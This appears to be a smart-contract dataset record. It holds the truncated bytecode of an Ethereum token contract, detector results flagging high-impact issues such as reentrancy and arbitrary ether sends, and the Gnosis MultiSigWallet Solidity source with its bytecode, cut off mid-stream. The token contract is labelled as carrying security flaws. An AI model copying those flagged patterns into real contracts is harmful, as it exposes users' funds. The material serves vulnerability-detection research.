20565b5060015b92915050565b683635c9adc5dea0000090565b6000610543848484610f0c565b6105b38461054f610e1c565b6105ae85604051806060016040528060288152602001611f83602891396001600160a01b038a1660009081526004602052604081209061058d610e1c565b6001600160a01b0316815260208101919091526040016000205491906112e2565b610e20565b5060019392505050565b6105c5610e1c565b6000546001600160a01b03908116911614610615576040805162461bcd60e51b81526020600482018190526024820152600080516020611fab833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610643610e1c565b6000546001600160a01b03908116911614610693576040805162461bcd60e51b81526020600482018190526024820152600080516020611fab833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106c5610e1c565b6001600160a01b0316146106d857600080fd5b476106e281611379565b50565b6001600160a01b03811660009081526006602052604081205460ff161561072557506001600160a01b03811660009081526003602052604090205461074a565b6001600160a01b038216600090815260026020526040902054610747906113fe565b90505b919050565b610757610e1c565b6000546001600160a01b039081169116146107a7576040805162461bcd60e51b81526020600482018190526024820152600080516020611fab833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b600061051f61080d610e1c565b8484610f0c565b61081c610e1c565b6000546001600160a01b0390811691161461086c576040805162461bcd60e51b81526020600482018190526024820152600080516020611fab833981519152604482015290519081900360640190fd5b60005b81518110156108c45760016007600084848151811061088a57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905560010161086f565b5050565b6010546001600160a01b03166108dc610e1c565b6001600160a01b0316146108ef57600080fd5b60006108fa306106e5565b90506106e28161145e565b61090d610e1c565b6000546001600160a01b0390811691161461095d576040805162461bcd60e51b81526020600482018190526024820152600080516020611fab833981519152604482015290519081900360640190fd5b601354600160a01b900460ff16156109bc576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a059030906001600160a01b0316683635c9adc5dea00000610e20565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3e57600080fd5b505afa158015610a52573d6000803e3d6000fd5b505050506040513d6020811015610a6857600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610ab857600080fd5b505afa158015610acc573d6000803e3d6000fd5b505050506040513d6020811015610ae257600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b3457600080fd5b505af1158015610b48573d6000803e3d6000fd5b505050506040513d6020811015610b5e57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610b90816106e5565b600080610b9b6107f1565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c0657600080fd5b505af1158015610c1a573d6000803e3d6000fd5b50505050506040513d6060811015610c3157600080fd5b50506013805467805e99fdcc5d000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610cbd57600080fd5b505af1158015610cd1573d6000803e3d6000fd5b505050506040513d6020811015610ce757600080fd5b505050565b610cf4610e1c565b6000546001600160a01b03908116911614610d44576040805162461bcd60e51b81526020600482018190526024820152600080516020611fab833981519152604482015290519081900360640190fd5b60008111610d99576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610db76064610db1683635c9adc5dea000008461162c565b90611685565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610e655760405162461bcd60e51b81526004018080602001828103825260248152602001806120196024913960400191505060405180910390fd5b6001600160a01b038216610eaa5760405162461bcd60e51b8152600401808060200182810382526022815260200180611f406022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f515760405162461bcd60e51b8152600401808060200182810382526025815260200180611ff46025913960400191505060405180910390fd5b6001600160a01b038216610f965760405162461bcd60e51b8152600401808060200182810382526023815260200180611ef36023913960400191505060405180910390fd5b60008111610fd55760405162461bcd60e51b8152600401808060200182810382526029815260200180611fcb6029913960400191505060405180910390fd5b610fdd6107f1565b6001600160a01b0316836001600160a01b03161415801561101757506110016107f1565b6001600160a01b0316826001600160a01b031614155b1561128557601354600160b81b900460ff1615611111576001600160a01b038316301480159061105057506001600160a01b0382163014155b801561106a57506012546001600160a01b03848116911614155b801561108457506012546001600160a01b03838116911614155b15611111576012546001600160a01b031661109d610e1c565b6001600160a01b031614806110cc57506013546001600160a01b03166110c1610e1c565b6001600160a01b0316145b611111576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561112057600080fd5b6001600160a01b03831660009081526007602052604090205460ff1615801561116257506001600160a01b03821660009081526007602052604090205460ff16155b61116b57600080fd5b6013546001600160a01b03848116911614801561119657506012546001600160a01b03838116911614155b80156111bb57506001600160a01b03821660009081526005602052604090205460ff16155b80156111d05750601354600160b81b900460ff165b15611218576001600160a01b03821660009081526008602052604090205442116111f957600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b6000611223306106e5565b601354909150600160a81b900460ff1615801561124e57506013546001600160a01b03858116911614155b80156112635750601354600160b01b900460ff165b15611283576112718161145e565b4780156112815761128147611379565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806112c757506001600160a01b03831660009081526005602052604090205460ff165b156112d0575060005b6112dc848484846116c7565b50505050565b600081848411156113715760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561133657818101518382015260200161131e565b50505050905090810190601f1680156113635780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc611393836002611685565b6040518115909202916000818181858888f193505050501580156113bb573d6000803e3d6000fd5b506011546001600160a01b03166108fc6113d6836002611685565b6040518115909202916000818181858888f193505050501580156108c4573d6000803e3d6000fd5b6000600a548211156114415760405162461bcd60e51b815260040180806020018281038252602a815260200180611f16602a913960400191505060405180910390fd5b600061144b6117e3565b90506114578382611685565b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060808301845292602083019080368337019050509050308160008151811061149f57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114f357600080fd5b505afa158015611507573d6000803e3d6000fd5b505050506040513d602081101561151d57600080fd5b505181518290600190811061152e57fe5b6001600160a01b0392831660209182029290920101526012546115549130911684610e20565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156115da5781810151838201526020016115c2565b505050509050019650505050505050600060405180830381600087803b15801561160357600080fd5b505af1158015611617573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261163b57506000610523565b8282028284828161164857fe5b04146114575760405162461bcd60e51b8152600401808060200182810382526021815260200180611f626021913960400191505060405180910390fd5b600061145783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611806565b806116d4576116d461186b565b6001600160a01b03841660009081526006602052604090205460ff16801561171557506001600160a01b03831660009081526006602052604090205460ff16155b1561172a5761172584848461189d565b6117d6565b6001600160a01b03841660009081526006602052604090205460ff1615801561176b57506001600160a01b03831660009081526006602052604090205460ff165b1561177b576117258484846119c1565b6001600160a01b03841660009081526006602052604090205460ff1680156117bb57506001600160a01b03831660009081526006602052604090205460ff165b156117cb57611725848484611a6a565b6117d6848484611add565b806112dc576112dc611b21565b60008060006117f0611b2f565b90925090506117ff8282611685565b9250505090565b600081836118555760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561133657818101518382015260200161131e565b50600083858161186157fe5b0495945050505050565b600c5415801561187b5750600d54155b156118855761189b565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118af87611cae565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506118e19088611d0b565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546119109087611d0b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461193f9086611d4d565b6001600160a01b03891660009081526002602052604090205561196181611da7565b61196b8483611e2f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806119d387611cae565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a059087611d0b565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a3b9084611d4d565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461193f9086611d4d565b600080600080600080611a7c87611cae565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611aae9088611d0b565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a059087611d0b565b600080600080600080611aef87611cae565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119109087611d0b565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611c6e57826002600060098481548110611b5f57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611bc45750816003600060098481548110611b9d57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611be257600a54683635c9adc5dea0000094509450505050611caa565b611c226002600060098481548110611bf657fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d0b565b9250611c646003600060098481548110611c3857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d0b565b9150600101611b43565b50600a54611c8590683635c9adc5dea00000611685565b821015611ca457600a54683635c9adc5dea00000935093505050611caa565b90925090505b9091565b6000806000806000806000806000611ccb8a600c54600d54611e53565b9250925092506000611cdb6117e3565b90506000806000611cee8e878787611ea2565b919e509c509a509598509396509194505050505091939550919395565b600061145783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e2565b600082820183811015611457576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611db16117e3565b90506000611dbf838361162c565b30600090815260026020526040902054909150611ddc9082611d4d565b3060009081526002602090815260408083209390935560069052205460ff1615610ce75730600090815260036020526040902054611e1a9084611d4d565b30600090815260036020526040902055505050565b600a54611e3c9083611d0b565b600a55600b54611e4c9082611d4d565b600b555050565b6000808080611e676064610db1898961162c565b90506000611e7a6064610db18a8961162c565b90506000611e9282611e8c8b86611d0b565b90611d0b565b9992985090965090945050505050565b6000808080611eb1888661162c565b90506000611ebf888761162c565b90506000611ecd888861162c565b90506000611edf82611e8c8686611d0b565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220bcc8bb27186e5c6633362467510d1e1d98bf6588c29d203c0094fc1ea49af8d964736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,206 |
0xC741cdDa197Af87Acd54a4A5f563C8efDbc754B7
|
pragma solidity ^0.4.26;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101e457806320ea8d86146102275780632f54bf6e146102545780633411c81c146102af57806354741525146103145780637065cb4814610363578063784547a7146103a65780638b51d13f146103eb5780639ace38c21461042c578063a0e67e2b14610517578063a8abe69a14610583578063b5dc40c314610627578063b77bf600146106a9578063ba51a6df146106d4578063c01a8c8414610701578063c64274741461072e578063d74f8edd146107d5578063dc8452cd14610800578063e20056e61461082b578063ee22610b1461088e575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561018357600080fd5b506101a2600480360381019080803590602001909291905050506108bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f057600080fd5b50610225600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f9565b005b34801561023357600080fd5b5061025260048036038101908080359060200190929190505050610b92565b005b34801561026057600080fd5b50610295600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d3a565b604051808215151515815260200191505060405180910390f35b3480156102bb57600080fd5b506102fa60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d5a565b604051808215151515815260200191505060405180910390f35b34801561032057600080fd5b5061034d600480360381019080803515159060200190929190803515159060200190929190505050610d89565b6040518082815260200191505060405180910390f35b34801561036f57600080fd5b506103a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e1b565b005b3480156103b257600080fd5b506103d160048036038101908080359060200190929190505050611020565b604051808215151515815260200191505060405180910390f35b3480156103f757600080fd5b5061041660048036038101908080359060200190929190505050611105565b6040518082815260200191505060405180910390f35b34801561043857600080fd5b50610457600480360381019080803590602001909291905050506111d0565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156104d95780820151818401526020810190506104be565b50505050905090810190601f1680156105065780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561052357600080fd5b5061052c6112c5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561056f578082015181840152602081019050610554565b505050509050019250505060405180910390f35b34801561058f57600080fd5b506105d06004803603810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611353565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106135780820151818401526020810190506105f8565b505050509050019250505060405180910390f35b34801561063357600080fd5b50610652600480360381019080803590602001909291905050506114c4565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561069557808201518184015260208101905061067a565b505050509050019250505060405180910390f35b3480156106b557600080fd5b506106be611701565b6040518082815260200191505060405180910390f35b3480156106e057600080fd5b506106ff60048036038101908080359060200190929190505050611707565b005b34801561070d57600080fd5b5061072c600480360381019080803590602001909291905050506117c1565b005b34801561073a57600080fd5b506107bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061199e565b6040518082815260200191505060405180910390f35b3480156107e157600080fd5b506107ea6119bd565b6040518082815260200191505060405180910390f35b34801561080c57600080fd5b506108156119c2565b6040518082815260200191505060405180910390f35b34801561083757600080fd5b5061088c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c8565b005b34801561089a57600080fd5b506108b960048036038101908080359060200190929190505050611cdd565b005b6003818154811015156108ca57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561098e57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b13578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b06576003600160038054905003815481101515610a7f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610ab957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b13565b81806001019250506109eb565b6001600381818054905003915081610b2b91906120fe565b506003805490506004541115610b4a57610b49600380549050611707565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610beb57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c5657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610c8657600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610e1457838015610dc8575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610dfb5750828015610dfa575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610e07576001820191505b8080600101915050610d91565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5557600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610eaf57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610ed657600080fd5b60016003805490500160045460328211158015610ef35750818111155b8015610f00575060008114155b8015610f0d575060008214155b1515610f1857600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156110fd5760016000858152602001908152602001600020600060038381548110151561105e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110dd576001820191505b6004548214156110f057600192506110fe565b808060010191505061102d565b5b5050919050565b600080600090505b6003805490508110156111ca5760016000848152602001908152602001600020600060038381548110151561113e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111bd576001820191505b808060010191505061110d565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112a85780601f1061127d576101008083540402835291602001916112a8565b820191906000526020600020905b81548152906001019060200180831161128b57829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561134957602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116112ff575b5050505050905090565b60608060008060055460405190808252806020026020018201604052801561138a5781602001602082028038833980820191505090505b50925060009150600090505b600554811015611436578580156113cd575060008082815260200190815260200160002060030160009054906101000a900460ff16155b8061140057508480156113ff575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156114295780838381518110151561141457fe5b90602001906020020181815250506001820191505b8080600101915050611396565b8787036040519080825280602002602001820160405280156114675781602001602082028038833980820191505090505b5093508790505b868110156114b957828181518110151561148457fe5b906020019060200201518489830381518110151561149e57fe5b9060200190602002018181525050808060010191505061146e565b505050949350505050565b6060806000806003805490506040519080825280602002602001820160405280156114fe5781602001602082028038833980820191505090505b50925060009150600090505b60038054905081101561164b5760016000868152602001908152602001600020600060038381548110151561153b57fe5b9060005260206000200160009054906101000a900473fffffffffffffffffffffffffffffffffffffff